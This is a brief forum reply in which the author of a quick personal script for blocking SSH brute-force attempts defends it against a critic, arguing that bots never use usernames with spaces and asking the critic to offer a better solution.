well i somehow felt someone will be pedantic over it. its a quick script originally thrown together in a few minutes for personal use and wasn't really intended to be released, i just thought it may help someone. besides that this is ment to stop those bruteforce attempts which *all* have more than enough users without spaces they try. or do you know anyone that does ssh bruteforce by hand? you may be able to add a bogus ip (wow your l33t), but it wouldnt be of any use so... instead of beeing a smartass why dont you provide a better solution for the people who are annoyed by those bruteforce attacks?
